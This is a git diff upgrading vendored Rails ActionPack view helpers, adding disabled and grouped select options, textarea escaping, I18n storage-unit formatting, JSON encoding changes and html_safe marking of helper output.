diff --git a/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb
index 33f8aaf9..608a3f1c 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb
@@ -6,9 +6,7 @@ module ActionView
   module Helpers
     # Provides a number of methods for turning different kinds of containers into a set of option tags.
     # == Options
-    # The <tt>collection_select</tt>, <tt>country_select</tt>, <tt>select</tt>,
-    # and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter,
-    # a hash.
+    # The <tt>collection_select</tt>, <tt>select</tt> and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter, a hash:
     #
     # * <tt>:include_blank</tt> - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.
     #
@@ -28,7 +26,7 @@ module ActionView
     #
     # Example with @post.person_id => 2:
     #
-    #   select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, {:include_blank => 'None'})
+    #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {:include_blank => 'None'})
     #
     # could become:
     #
@@ -43,7 +41,7 @@ module ActionView
     #
     # Example:
     #
-    #   select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, {:prompt => 'Select Person'})
+    #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {:prompt => 'Select Person'})
     #
     # could become:
     #
@@ -68,6 +66,36 @@ module ActionView
     #     <option value="rock">rock</option>
     #     <option value="country">country</option>
     #   </select>
+    #
+    # * <tt>:disabled</tt> - can be a single value or an array of values that will be disabled options in the final output.
+    #
+    # Example:
+    #
+    #   select("post", "category", Post::CATEGORIES, {:disabled => 'restricted'})
+    #
+    # could become:
+    #
+    #   <select name="post[category]">
+    #     <option></option>
+    #     <option>joke</option>
+    #     <option>poem</option>
+    #     <option disabled="disabled">restricted</option>
+    #   </select>
+    #
+    # When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
+    #
+    # Example:
+    #
+    #   collection_select(:post, :category_id, Category.all, :id, :name, {:disabled => lambda{|category| category.archived? }})
+    #
+    # If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return:
+    #   <select name="post[category_id]">
+    #     <option value="1" disabled="disabled">2008 stuff</option>
+    #     <option value="2" disabled="disabled">Christmas</option>
+    #     <option value="3">Jokes</option>
+    #     <option value="4">Poems</option>
+    #   </select>
+    #
     module FormOptionsHelper
       include ERB::Util
 
@@ -76,7 +104,7 @@ module ActionView
       # See options_for_select for the required format of the choices parameter.
       #
       # Example with @post.person_id => 1:
-      #   select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, { :include_blank => true })
+      #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { :include_blank => true })
       #
       # could become:
       #
@@ -94,7 +122,8 @@ module ActionView
       # In addition, this allows a single partial to be used to generate form inputs for both edit and create forms.
       #
       # By default, <tt>post.person_id</tt> is the selected option.  Specify <tt>:selected => value</tt> to use a different selection
-      # or <tt>:selected => nil</tt> to leave all options unselected.
+      # or <tt>:selected => nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option
+      # tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled.
       def select(object, method, choices, options = {}, html_options = {})
         InstanceTag.new(object, method, self, options.delete(:object)).to_select_tag(choices, options, html_options)
       end
@@ -120,7 +149,7 @@ module ActionView
       #   end
       #
       # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
-      #   collection_select(:post, :author_id, Author.find(:all), :id, :name_with_initial, {:prompt => true})
+      #   collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {:prompt => true})
       #
       # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
       #   <select name="post[author_id]">
@@ -133,6 +162,60 @@ module ActionView
         InstanceTag.new(object, method, self, options.delete(:object)).to_collection_select_tag(collection, value_method, text_method, options, html_options)
       end
 
+
+      # Returns <tt><select></tt>, <tt><optgroup></tt> and <tt><option></tt> tags for the collection of existing return values of
+      # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
+      # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
+      # or <tt>:include_blank</tt> in the +options+ hash.
+      #
+      # Parameters:
+      # * +object+ - The instance of the class to be used for the select tag
+      # * +method+ - The attribute of +object+ corresponding to the select tag
+      # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
+      # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
+      #   array of child objects representing the <tt><option></tt> tags.
+      # * +group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
+      #   string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
+      # * +option_key_method+ - The name of a method which, when called on a child object of a member of
+      #   +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
+      # * +option_value_method+ - The name of a method which, when called on a child object of a member of
+      #   +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
+      #
+      # Example object structure for use with this method:
+      #   class Continent < ActiveRecord::Base
+      #     has_many :countries
+      #     # attribs: id, name
+      #   end
+      #   class Country < ActiveRecord::Base
+      #     belongs_to :continent
+      #     # attribs: id, name, continent_id
+      #   end
+      #   class City < ActiveRecord::Base
+      #     belongs_to :country
+      #     # attribs: id, name, country_id
+      #   end
+      #
+      # Sample usage:
+      #   grouped_collection_select(:city, :country_id, @continents, :countries, :name, :id, :name)
+      #
+      # Possible output:
+      #   <select name="city[country_id]">
+      #     <optgroup label="Africa">
+      #       <option value="1">South Africa</option>
+      #       <option value="3">Somalia</option>
+      #     </optgroup>
+      #     <optgroup label="Europe">
+      #       <option value="7" selected="selected">Denmark</option>
+      #       <option value="2">Ireland</option>
+      #     </optgroup>
+      #   </select>
+      #
+      def grouped_collection_select(object, method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
+        InstanceTag.new(object, method, self, options.delete(:object)).to_grouped_collection_select_tag(collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options)
+      end
+
+
+
       # Return select and option tags for the given object and method, using
       # #time_zone_options_for_select to generate the list of option tags.
       #
@@ -186,33 +269,70 @@ module ActionView
       #   options_for_select([ "VISA", "MasterCard", "Discover" ], ["VISA", "Discover"])
       #     <option selected="selected">VISA</option>\n<option>MasterCard</option>\n<option selected="selected">Discover</option>
       #
+      # If you wish to specify disabled option tags, set +selected+ to be a hash, with <tt>:disabled</tt> being either a value
+      # or array of values to be disabled. In this case, you can use <tt>:selected</tt> to specify selected option tags.
+      #
+      # Examples:
+      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], :disabled => "Super Platinum")
+      #     <option value="Free">Free</option>\n<option value="Basic">Basic</option>\n<option value="Advanced">Advanced</option>\n<option value="Super Platinum" disabled="disabled">Super Platinum</option>
+      #
+      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], :disabled => ["Advanced", "Super Platinum"])
+      #     <option value="Free">Free</option>\n<option value="Basic">Basic</option>\n<option value="Advanced" disabled="disabled">Advanced</option>\n<option value="Super Platinum" disabled="disabled">Super Platinum</option>
+      #
+      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], :selected => "Free", :disabled => "Super Platinum")
+      #     <option value="Free" selected="selected">Free</option>\n<option value="Basic">Basic</option>\n<option value="Advanced">Advanced</option>\n<option value="Super Platinum" disabled="disabled">Super Platinum</option>
+      #
       # NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.
       def options_for_select(container, selected = nil)
+        return container if String === container
+
         container = container.to_a if Hash === container
+        selected, disabled = extract_selected_and_disabled(selected)
 
         options_for_select = container.inject([]) do |options, element|
           text, value = option_text_and_value(element)
           selected_attribute = ' selected="selected"' if option_value_selected?(value, selected)
-          options << %(<option value="#{html_escape(value.to_s)}"#{selected_attribute}>#{html_escape(text.to_s)}</option>)
+          disabled_attribute = ' disabled="disabled"' if disabled && option_value_selected?(value, disabled)
+          options << %(<option value="#{html_escape(value.to_s)}"#{selected_attribute}#{disabled_attribute}>#{html_escape(text.to_s)}</option>)
         end
 
-        options_for_select.join("\n")
+        options_for_select.join("\n").html_safe!
       end
 
       # Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the
       # the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
-      # If +selected+ is specified, the element returning a match on +value_method+ will get the selected option tag.
+      # Example:
+      #   options_from_collection_for_select(@people, 'id', 'name')
+      # This will output the same HTML as if you did this:
+      #   <option value="#{person.id}">#{person.name}</option>
       #
-      # Example (call, result). Imagine a loop iterating over each +person+ in <tt>@project.people</tt> to generate an input tag:
-      #   options_from_collection_for_select(@project.people, "id", "name")
-      #     <option value="#{person.id}">#{person.name}</option>
+      # This is more often than not used inside a #select_tag like this example:
+      #   select_tag 'person', options_from_collection_for_select(@people, 'id', 'name')
       #
-      # NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.
+      # If +selected+ is specified as a value or array of values, the element(s) returning a match on +value_method+
+      # will be selected option tag(s).
+      #
+      # If +selected+ is specified as a Proc, those members of the collection that return true for the anonymous
+      # function are the selected values.
+      #
+      # +selected+ can also be a hash, specifying both <tt>:selected</tt> and/or <tt>:disabled</tt> values as required.
+      #
+      # Be sure to specify the same class as the +value_method+ when specifying selected or disabled options.
+      # Failure to do this will produce undesired results. Example:
+      #   options_from_collection_for_select(@people, 'id', 'name', '1')
+      # Will not select a person with the id of 1 because 1 (an Integer) is not the same as '1' (a string)
+      #   options_from_collection_for_select(@people, 'id', 'name', 1)
+      # should produce the desired results.
       def options_from_collection_for_select(collection, value_method, text_method, selected = nil)
         options = collection.map do |element|
           [element.send(text_method), element.send(value_method)]
         end
-        options_for_select(options, selected)
+        selected, disabled = extract_selected_and_disabled(selected)
+        select_deselect = {}
+        select_deselect[:selected] = extract_values_from_collection(collection, value_method, selected)
+        select_deselect[:disabled] = extract_values_from_collection(collection, value_method, disabled)
+
+        options_for_select(options, select_deselect)
       end
 
       # Returns a string of <tt><option></tt> tags, like <tt>options_from_collection_for_select</tt>, but
@@ -230,7 +350,8 @@ module ActionView
       #   +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
       # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
       #   which will have the +selected+ attribute set. Corresponds to the return value of one of the calls
-      #   to +option_key_method+. If +nil+, no selection is made.
+      #   to +option_key_method+. If +nil+, no selection is made. Can also be a hash if disabled values are
+      #   to be specified.
       #
       # Example object structure for use with this method:
       #   class Continent < ActiveRecord::Base
@@ -269,6 +390,62 @@ module ActionView
         end
       end
 
+      # Returns a string of <tt><option></tt> tags, like <tt>options_for_select</tt>, but
+      # wraps them with <tt><optgroup></tt> tags.
+      #
+      # Parameters:
+      # * +grouped_options+ - Accepts a nested array or hash of strings.  The first value serves as the
+      #   <tt><optgroup></tt> label while the second value must be an array of options. The second value can be a
+      #   nested array of text-value pairs. See <tt>options_for_select</tt> for more info.
+      #    Ex. ["North America",[["United States","US"],["Canada","CA"]]]
+      # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
+      #   which will have the +selected+ attribute set. Note: It is possible for this value to match multiple options
+      #   as you might have the same option in multiple groups.  Each will then get <tt>selected="selected"</tt>.
+      # * +prompt+ - set to true or a prompt string. When the select element doesn’t have a value yet, this
+      #   prepends an option with a generic prompt — "Please select" — or the given prompt string.
+      #
+      # Sample usage (Array):
+      #   grouped_options = [
+      #    ['North America',
+      #      [['United States','US'],'Canada']],
+      #    ['Europe',
+      #      ['Denmark','Germany','France']]
+      #   ]
+      #   grouped_options_for_select(grouped_options)
+      #
+      # Sample usage (Hash):
+      #   grouped_options = {
+      #    'North America' => [['United States','US], 'Canada'],
+      #    'Europe' => ['Denmark','Germany','France']
+      #   }
+      #   grouped_options_for_select(grouped_options)
+      #
+      # Possible output:
+      #   <optgroup label="Europe">
+      #     <option value="Denmark">Denmark</option>
+      #     <option value="Germany">Germany</option>
+      #     <option value="France">France</option>
+      #   </optgroup>
+      #   <optgroup label="North America">
+      #     <option value="US">United States</option>
+      #     <option value="Canada">Canada</option>
+      #   </optgroup>
+      #
+      # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
+      # wrap the output in an appropriate <tt><select></tt> tag.
+      def grouped_options_for_select(grouped_options, selected_key = nil, prompt = nil)
+        body = ''
+        body << content_tag(:option, prompt, :value => "") if prompt
+
+        grouped_options = grouped_options.sort if grouped_options.is_a?(Hash)
+
+        grouped_options.each do |group|
+          body << content_tag(:optgroup, options_for_select(group[1], selected_key), :label => group[0])
+        end
+
+        body
+      end
+
       # Returns a string of option tags for pretty much any time zone in the
       # world. Supply a TimeZone name as +selected+ to have it marked as the
       # selected option tag. You can also supply an array of TimeZone objects
@@ -324,6 +501,24 @@ module ActionView
             value == selected
           end
         end
+
+        def extract_selected_and_disabled(selected)
+          if selected.is_a?(Hash)
+            [selected[:selected], selected[:disabled]]
+          else
+            [selected, nil]
+          end
+        end
+
+        def extract_values_from_collection(collection, value_method, selected)
+          if selected.is_a?(Proc)
+            collection.map do |element|
+              element.send(value_method) if selected.call(element)
+            end.compact
+          else
+            selected
+          end
+        end
     end
 
     class InstanceTag #:nodoc:
@@ -334,15 +529,27 @@ module ActionView
         add_default_name_and_id(html_options)
         value = value(object)
         selected_value = options.has_key?(:selected) ? options[:selected] : value
-        content_tag("select", add_options(options_for_select(choices, selected_value), options, selected_value), html_options)
+        disabled_value = options.has_key?(:disabled) ? options[:disabled] : nil
+        content_tag("select", add_options(options_for_select(choices, :selected => selected_value, :disabled => disabled_value), options, selected_value), html_options)
       end
 
       def to_collection_select_tag(collection, value_method, text_method, options, html_options)
         html_options = html_options.stringify_keys
         add_default_name_and_id(html_options)
         value = value(object)
+        disabled_value = options.has_key?(:disabled) ? options[:disabled] : nil
+        selected_value = options.has_key?(:selected) ? options[:selected] : value
         content_tag(
-          "select", add_options(options_from_collection_for_select(collection, value_method, text_method, value), options, value), html_options
+          "select", add_options(options_from_collection_for_select(collection, value_method, text_method, :selected => selected_value, :disabled => disabled_value), options, value), html_options
+        )
+      end
+
+      def to_grouped_collection_select_tag(collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options)
+        html_options = html_options.stringify_keys
+        add_default_name_and_id(html_options)
+        value = value(object)
+        content_tag(
+          "select", add_options(option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, value), options, value), html_options
         )
       end
 
@@ -364,7 +571,8 @@ module ActionView
             option_tags = "<option value=\"\">#{options[:include_blank] if options[:include_blank].kind_of?(String)}</option>\n" + option_tags
           end
           if value.blank? && options[:prompt]
-            ("<option value=\"\">#{options[:prompt].kind_of?(String) ? options[:prompt] : 'Please select'}</option>\n") + option_tags
+            prompt = options[:prompt].kind_of?(String) ? options[:prompt] : I18n.translate('support.select.prompt', :default => 'Please select')
+            "<option value=\"\">#{prompt}</option>\n" + option_tags
           else
             option_tags
           end
@@ -380,6 +588,10 @@ module ActionView
         @template.collection_select(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
       end
 
+      def grouped_collection_select(method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
+        @template.grouped_collection_select(@object_name, method, collection, group_method, group_label_method, option_key_method, option_value_method, objectify_options(options), @default_options.merge(html_options))
+      end
+
       def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})
         @template.time_zone_select(@object_name, method, priority_zones, objectify_options(options), @default_options.merge(html_options))
       end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/form_tag_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/form_tag_helper.rb
index 4646bc11..eaba603a 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/form_tag_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/form_tag_helper.rb
@@ -230,6 +230,8 @@ module ActionView
       # * <tt>:rows</tt> - Specify the number of rows in the textarea
       # * <tt>:cols</tt> - Specify the number of columns in the textarea
       # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:escape</tt> - By default, the contents of the text input are HTML escaped.
+      #   If you need unescaped contents, set this to false.
       # * Any other key creates standard HTML attributes for the tag.
       #
       # ==== Examples
@@ -257,7 +259,10 @@ module ActionView
           options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
         end
 
-        content_tag :textarea, content, { "name" => name, "id" => name }.update(options.stringify_keys)
+        escape = options.key?("escape") ? options.delete("escape") : true
+        content = html_escape(content) if escape
+
+        content_tag :textarea, content, { "name" => name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
       end
 
       # Creates a check box form input tag.
@@ -353,15 +358,16 @@ module ActionView
           disable_with << ";#{options.delete('onclick')}" if options['onclick']
           
           options["onclick"]  = "if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }"
-          options["onclick"] << "else { hiddenCommit = this.cloneNode(false);hiddenCommit.setAttribute('type', 'hidden');this.form.appendChild(hiddenCommit); }"
+          options["onclick"] << "else { hiddenCommit = document.createElement('input');hiddenCommit.type = 'hidden';"
+          options["onclick"] << "hiddenCommit.value = this.value;hiddenCommit.name = this.name;this.form.appendChild(hiddenCommit); }"
           options["onclick"] << "this.setAttribute('originalValue', this.value);this.disabled = true;#{disable_with};"
           options["onclick"] << "result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());"
           options["onclick"] << "if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;"
         end
 
         if confirm = options.delete("confirm")
-          options["onclick"] ||= ''
-          options["onclick"] << "return #{confirm_javascript_function(confirm)};"
+          options["onclick"] ||= 'return true;'
+          options["onclick"] = "if (!#{confirm_javascript_function(confirm)}) return false; #{options['onclick']}"
         end
 
         tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options.stringify_keys)
@@ -426,7 +432,7 @@ module ActionView
         concat(tag(:fieldset, options, true))
         concat(content_tag(:legend, legend)) unless legend.blank?
         concat(content)
-        concat("</fieldset>")
+        concat("</fieldset>".html_safe!)
       end
 
       private
@@ -444,23 +450,23 @@ module ActionView
               ''
             when /^post$/i, "", nil
               html_options["method"] = "post"
-              protect_against_forgery? ? content_tag(:div, token_tag, :style => 'margin:0;padding:0') : ''
+              protect_against_forgery? ? content_tag(:div, token_tag, :style => 'margin:0;padding:0;display:inline') : ''
             else
               html_options["method"] = "post"
-              content_tag(:div, tag(:input, :type => "hidden", :name => "_method", :value => method) + token_tag, :style => 'margin:0;padding:0')
+              content_tag(:div, tag(:input, :type => "hidden", :name => "_method", :value => method) + token_tag, :style => 'margin:0;padding:0;display:inline')
           end
         end
 
         def form_tag_html(html_options)
           extra_tags = extra_tags_for_form(html_options)
-          tag(:form, html_options, true) + extra_tags
+          (tag(:form, html_options, true) + extra_tags).html_safe!
         end
 
         def form_tag_in_block(html_options, &block)
           content = capture(&block)
           concat(form_tag_html(html_options))
           concat(content)
-          concat("</form>")
+          concat("</form>".html_safe!)
         end
 
         def token_tag
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/number_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/number_helper.rb
index 77f19b36..1760a13a 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/number_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/number_helper.rb
@@ -15,6 +15,7 @@ module ActionView
       # * <tt>:country_code</tt>  - Sets the country code for the phone number.
       #
       # ==== Examples
+      #  number_to_phone(5551234)                                           # => 555-1234
       #  number_to_phone(1235551234)                                        # => 123-555-1234
       #  number_to_phone(1235551234, :area_code => true)                    # => (123) 555-1234
       #  number_to_phone(1235551234, :delimiter => " ")                     # => 123 555 1234
@@ -37,7 +38,8 @@ module ActionView
           str << if area_code
             number.gsub!(/([0-9]{1,3})([0-9]{3})([0-9]{4}$)/,"(\\1) \\2#{delimiter}\\3")
           else
-            number.gsub!(/([0-9]{1,3})([0-9]{3})([0-9]{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
+            number.gsub!(/([0-9]{0,3})([0-9]{3})([0-9]{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
+            number.starts_with?('-') ? number.slice!(1..-1) : number
           end
           str << " x #{extension}" unless extension.blank?
           str
@@ -138,7 +140,7 @@ module ActionView
       #  number_with_delimiter(12345678)                        # => 12,345,678
       #  number_with_delimiter(12345678.05)                     # => 12,345,678.05
       #  number_with_delimiter(12345678, :delimiter => ".")     # => 12.345.678
-      #  number_with_delimiter(12345678, :seperator => ",")     # => 12,345,678
+      #  number_with_delimiter(12345678, :separator => ",")     # => 12,345,678
       #  number_with_delimiter(98765432.98, :delimiter => " ", :separator => ",")
       #  # => 98 765 432,98
       #
@@ -220,7 +222,7 @@ module ActionView
         end
       end
 
-      STORAGE_UNITS = %w( Bytes KB MB GB TB ).freeze
+      STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb].freeze
 
       # Formats the bytes in +size+ into a more understandable representation
       # (e.g., giving it 1500 yields 1.5 KB). This method is useful for
@@ -244,12 +246,17 @@ module ActionView
       #  number_to_human_size(483989, :precision => 0)                      # => 473 KB
       #  number_to_human_size(1234567, :precision => 2, :separator => ',')  # => 1,18 MB
       #
+      # Zeros after the decimal point are always stripped out, regardless of the
+      # specified precision:
+      #  helper.number_to_human_size(1234567890123, :precision => 5)        # => "1.12283 TB"
+      #  helper.number_to_human_size(524288000, :precision=>5)              # => "500 MB"
+      #
       # You can still use <tt>number_to_human_size</tt> with the old API that accepts the
       # +precision+ as its optional second parameter:
       #  number_to_human_size(1234567, 2)    # => 1.18 MB
       #  number_to_human_size(483989, 0)     # => 473 KB
       def number_to_human_size(number, *args)
-        return number.nil? ? nil : pluralize(number.to_i, "Byte") if number.to_i < 1024
+        return nil if number.nil?
 
         options = args.extract_options!
         options.symbolize_keys!
@@ -268,22 +275,32 @@ module ActionView
         separator ||= (options[:separator] || defaults[:separator])
         delimiter ||= (options[:delimiter] || defaults[:delimiter])
 
-        max_exp  = STORAGE_UNITS.size - 1
-        number   = Float(number)
-        exponent = (Math.log(number) / Math.log(1024)).to_i # Convert to base 1024
-        exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
-        number  /= 1024 ** exponent
-        unit     = STORAGE_UNITS[exponent]
+        storage_units_format = I18n.translate(:'number.human.storage_units.format', :locale => options[:locale], :raise => true)
 
-        begin
-          escaped_separator = Regexp.escape(separator)
-          number_with_precision(number,
-            :precision => precision,
-            :separator => separator,
-            :delimiter => delimiter
-          ).sub(/(\d)(#{escaped_separator}[1-9]*)?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '') + " #{unit}"
-        rescue
-          number
+        if number.to_i < 1024
+          unit = I18n.translate(:'number.human.storage_units.units.byte', :locale => options[:locale], :count => number.to_i, :raise => true)
+          storage_units_format.gsub(/%n/, number.to_i.to_s).gsub(/%u/, unit)
+        else
+          max_exp  = STORAGE_UNITS.size - 1
+          number   = Float(number)
+          exponent = (Math.log(number) / Math.log(1024)).to_i # Convert to base 1024
+          exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
+          number  /= 1024 ** exponent
+
+          unit_key = STORAGE_UNITS[exponent]
+          unit = I18n.translate(:"number.human.storage_units.units.#{unit_key}", :locale => options[:locale], :count => number, :raise => true)
+
+          begin
+            escaped_separator = Regexp.escape(separator)
+            formatted_number = number_with_precision(number,
+              :precision => precision,
+              :separator => separator,
+              :delimiter => delimiter
+            ).sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
+            storage_units_format.gsub(/%n/, formatted_number).gsub(/%u/, unit)
+          rescue
+            number
+          end
         end
       end
     end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/prototype_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/prototype_helper.rb
index a3eccc74..75f5c86e 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/prototype_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/prototype_helper.rb
@@ -1,4 +1,5 @@
 require 'set'
+require 'active_support/json'
 
 module ActionView
   module Helpers
@@ -106,7 +107,7 @@ module ActionView
     # on the page in an Ajax response.
     module PrototypeHelper
       unless const_defined? :CALLBACKS
-        CALLBACKS    = Set.new([ :uninitialized, :loading, :loaded,
+        CALLBACKS    = Set.new([ :create, :uninitialized, :loading, :loaded,
                          :interactive, :complete, :failure, :success ] +
                          (100..599).to_a)
         AJAX_OPTIONS = Set.new([ :before, :after, :condition, :url,
@@ -392,7 +393,7 @@ module ActionView
 
         concat(form_remote_tag(options))
         fields_for(object_name, *(args << options), &proc)
-        concat('</form>')
+        concat('</form>'.html_safe!)
       end
       alias_method :form_remote_for, :remote_form_for
 
@@ -530,11 +531,6 @@ module ActionView
       #                       is shorthand for
       #                         :with => "'name=' + value"
       #                       This essentially just changes the key of the parameter.
-      # <tt>:on</tt>::        Specifies which event handler to observe. By default,
-      #                       it's set to "changed" for text fields and areas and
-      #                       "click" for radio buttons and checkboxes. With this,
-      #                       you can specify it instead to be "blur" or "focus" or
-      #                       any other event.
       #
       # Additionally, you may specify any of the options documented in the
       # <em>Common options</em> section at the top of this document.
@@ -547,11 +543,6 @@ module ActionView
       #     :url => 'http://example.com/books/edit/1',
       #     :with => 'title'
       #
-      #   # Sends params: {:book_title => 'Title of the book'} when the focus leaves
-      #   # the input field.
-      #   observe_field 'book_title',
-      #     :url => 'http://example.com/books/edit/1',
-      #     :on => 'blur'
       #
       def observe_field(field_id, options = {})
         if options[:frequency] && options[:frequency] > 0
@@ -695,7 +686,7 @@ module ActionView
           # Returns an object whose <tt>to_json</tt> evaluates to +code+. Use this to pass a literal JavaScript
           # expression as an argument to another JavaScriptGenerator method.
           def literal(code)
-            ActiveSupport::JSON::Variable.new(code.to_s)
+            ::ActiveSupport::JSON::Variable.new(code.to_s)
           end
 
           # Returns a collection reference by finding it through a CSS +pattern+ in the DOM. This collection can then be
@@ -982,7 +973,7 @@ module ActionView
             def loop_on_multiple_args(method, ids)
               record(ids.size>1 ?
                 "#{javascript_object_for(ids)}.each(#{method})" :
-                "#{method}(#{ids.first.to_json})")
+                "#{method}(#{::ActiveSupport::JSON.encode(ids.first)})")
             end
 
             def page
@@ -1006,7 +997,7 @@ module ActionView
             end
 
             def javascript_object_for(object)
-              object.respond_to?(:to_json) ? object.to_json : object.inspect
+              ::ActiveSupport::JSON.encode(object)
             end
 
             def arguments_for_call(arguments, block = nil)
@@ -1093,7 +1084,6 @@ module ActionView
         javascript << "#{options[:frequency]}, " if options[:frequency]
         javascript << "function(element, value) {"
         javascript << "#{callback}}"
-        javascript << ", '#{options[:on]}'" if options[:on]
         javascript << ")"
         javascript_tag(javascript)
       end
@@ -1149,7 +1139,7 @@ module ActionView
     class JavaScriptElementProxy < JavaScriptProxy #:nodoc:
       def initialize(generator, id)
         @id = id
-        super(generator, "$(#{id.to_json})")
+        super(generator, "$(#{::ActiveSupport::JSON.encode(id)})")
       end
 
       # Allows access of element attributes through +attribute+. Examples:
@@ -1221,7 +1211,7 @@ module ActionView
           enumerate :eachSlice, :variable => variable, :method_args => [number], :yield_args => %w(value index), :return => true, &block
         else
           add_variable_assignment!(variable)
-          append_enumerable_function!("eachSlice(#{number.to_json});")
+          append_enumerable_function!("eachSlice(#{::ActiveSupport::JSON.encode(number)});")
         end
       end
 
@@ -1242,7 +1232,7 @@ module ActionView
 
       def pluck(variable, property)
         add_variable_assignment!(variable)
-        append_enumerable_function!("pluck(#{property.to_json});")
+        append_enumerable_function!("pluck(#{::ActiveSupport::JSON.encode(property)});")
       end
 
       def zip(variable, *arguments, &block)
@@ -1306,7 +1296,7 @@ module ActionView
 
     class JavaScriptElementCollectionProxy < JavaScriptCollectionProxy #:nodoc:\
       def initialize(generator, pattern)
-        super(generator, "$$(#{pattern.to_json})")
+        super(generator, "$$(#{::ActiveSupport::JSON.encode(pattern)})")
       end
     end
   end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/raw_output_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/raw_output_helper.rb
new file mode 100644
index 00000000..79b0e4ee
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_view/helpers/raw_output_helper.rb
@@ -0,0 +1,9 @@
+module ActionView #:nodoc:
+  module Helpers #:nodoc:
+    module RawOutputHelper
+      def raw(stringish)
+        stringish.to_s.html_safe!
+      end
+    end
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/sanitize_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/sanitize_helper.rb
index 435ba936..69d0d0fb 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/sanitize_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/sanitize_helper.rb
@@ -1,15 +1,5 @@
 require 'action_view/helpers/tag_helper'
 
-begin
-  require 'html/document'
-rescue LoadError
-  html_scanner_path = "#{File.dirname(__FILE__)}/../../action_controller/vendor/html-scanner"
-  if File.directory?(html_scanner_path)
-    $:.unshift html_scanner_path
-    require 'html/document'
-  end
-end
-
 module ActionView
   module Helpers #:nodoc:
     # The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.
@@ -59,7 +49,11 @@ module ActionView
       # confuse browsers.
       #
       def sanitize(html, options = {})
-        self.class.white_list_sanitizer.sanitize(html, options)
+        returning self.class.white_list_sanitizer.sanitize(html, options) do |sanitized|
+          if sanitized
+            sanitized.html_safe!
+          end
+        end
       end
 
